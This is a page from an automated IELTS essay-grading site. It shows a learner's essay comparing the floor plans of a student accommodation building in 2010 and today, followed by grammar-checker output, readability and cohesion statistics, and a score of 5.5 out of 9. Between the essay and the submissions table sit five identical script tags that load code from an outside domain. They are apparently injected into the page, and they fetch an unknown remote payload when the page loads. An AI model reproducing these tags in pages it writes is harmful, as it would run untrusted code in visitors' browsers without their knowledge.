The plans below show a student accommodation building in 2010. Summarizes the information by selecting and reporting the main features, and makes comparisons where relevant.
The maps give information about how the accommodation has changed in 2010 and in the present.
Overall, the maps in 2010 were narrowed, shorter and had fewer areas than now. However, the significantly changed between two times about the way they added more places and the structure of the kitchen, student-bedroom.
To begin with 2010, the accommodation had nine areas including three gardens, three student-bedrooms, a bathroom, a living room and a kitchen. At the main entrance on the left side, leading directly to a student-bedroom on the right side and above that is the kitchen. Next to it, at the top of the map is the second student-bedroom and the living room on the corner, the garden next to it. Finally, on the western side is the third student-bedroom and the bathroom, besides that, the garden at the bottom and also at the north.
In the present day, there are several changes about the apartment; they added two student-bedrooms, the ensuite room and the car parking. However, the main entrance was still on the left side and straight to the student-bedroom but now they have an en-suite room before going there. The kitchen above it and the second bedroom at the top of the corner in 2010. By contrast, the living room was replaced by two student-bedrooms and wider than in the past. However, the bottom garden area has been replaced by a car parking space, while the top garden on the right has been moved.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-06-29 | Trần Ánh Vy | 61 | view |
| 2025-06-27 | Trần Ánh Vy | 78 | view |
| 2025-06-27 | Trần Ánh Vy | 78 | view |
| 2025-06-25 | Trần Ánh Vy | 73 | view |
| 2025-06-23 | Trần Ánh Vy | 36 | view |
- In some countries there has been an increase in the number of parents choosing to self educate their children at home rather than sending them school Do the advantages of home education outweigh disadvantages 84
- Some people think that unpaid community services should be a compulsory part of high school programs example charity improving the neighborhood or teaching sports for young children 84
- Nowadays not enough students choose science subjects in university in many countries Why Effects on society 89
- Some people think young people should follow the traditions of their society Others think that they should be free to behave as individuals Discuss both views and give your opinion 73
- The diagram below show the development of the horse over a period of 40 million years Summarize the information by selecting and reporting the main features and make comparisons where relevant 73
Grammar and spelling errors:
Line 3, column 204, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
... on the left side, leading directly to a student-bedroom on the right side and ab...
^^
Line 4, column 57, Rule ID: APARTMENT-FLAT[1]
Message: This word is common for American English. Did you mean 'flat'?
Suggestion: flat
...ay, there are several changes about the apartment; they added two student-bedrooms, the e...
^^^^^^^^^
Transition Words or Phrases used:
also, besides, but, finally, however, if, second, so, still, third, while, to begin with
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 9.0 7.0 129% => OK
Auxiliary verbs: 0.0 1.00243902439 0% => OK
Conjunction : 13.0 6.8 191% => OK
Relative clauses : 2.0 3.15609756098 63% => OK
Pronoun: 8.0 5.60731707317 143% => Less pronouns wanted
Preposition: 38.0 33.7804878049 112% => OK
Nominalization: 6.0 3.97073170732 151% => OK
Performance on vocabulary words:
No of characters: 1183.0 965.302439024 123% => OK
No of words: 247.0 196.424390244 126% => OK
Chars per words: 4.78947368421 4.92477711251 97% => OK
Fourth root words length: 3.96437052324 3.73543355544 106% => OK
Word Length SD: 2.99893712698 2.65546596893 113% => OK
Unique words: 118.0 106.607317073 111% => OK
Unique words percentage: 0.477732793522 0.547539520022 87% => More unique words wanted or less content wanted.
syllable_count: 347.4 283.868780488 122% => OK
avg_syllables_per_word: 1.4 1.45097560976 96% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 1.0 1.53170731707 65% => OK
Article: 13.0 4.33902439024 300% => Less articles wanted as sentence beginning.
Subordination: 1.0 1.07073170732 93% => OK
Conjunction: 0.0 0.482926829268 0% => OK
Preposition: 7.0 3.36585365854 208% => Less preposition wanted as sentence beginnings.
Performance on sentences:
How many sentences: 12.0 8.94146341463 134% => OK
Sentence length: 20.0 22.4926829268 89% => OK
Sentence length SD: 24.2983481377 43.030603864 56% => The essay contains lots of sentences with the similar length. More sentence varieties wanted.
Chars per sentence: 98.5833333333 112.824112599 87% => OK
Words per sentence: 20.5833333333 22.9334400587 90% => OK
Discourse Markers: 7.33333333333 5.23603664747 140% => OK
Paragraphs: 4.0 3.83414634146 104% => OK
Language errors: 2.0 1.69756097561 118% => OK
Sentences with positive sentiment : 4.0 3.70975609756 108% => OK
Sentences with negative sentiment : 0.0 1.13902439024 0% => More negative sentences wanted.
Sentences with neutral sentiment: 8.0 4.09268292683 195% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.112037893609 0.215688989381 52% => OK
Sentence topic coherence: 0.0504587138371 0.103423049105 49% => OK
Sentence topic coherence SD: 0.0348310788451 0.0843802449381 41% => Sentences are similar to each other.
Paragraph topic coherence: 0.0863232049943 0.15604864568 55% => OK
Paragraph topic coherence SD: 0.0346181525247 0.0819641961636 42% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 11.4 13.2329268293 86% => Automated_readability_index is low.
flesch_reading_ease: 68.1 61.2550243902 111% => OK
smog_index: 8.8 6.51609756098 135% => OK
flesch_kincaid_grade: 8.7 10.3012195122 84% => OK
coleman_liau_index: 10.5 11.4140731707 92% => OK
dale_chall_readability_score: 7.19 8.06136585366 89% => OK
difficult_words: 40.0 40.7170731707 98% => OK
linsear_write_formula: 8.5 11.4329268293 74% => OK
gunning_fog: 10.0 10.9970731707 91% => OK
text_standard: 9.0 11.0658536585 81% => OK
What are above readability scores?
---------------------
Rates: 61.797752809 out of 100
Scores by essay e-grader: 5.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.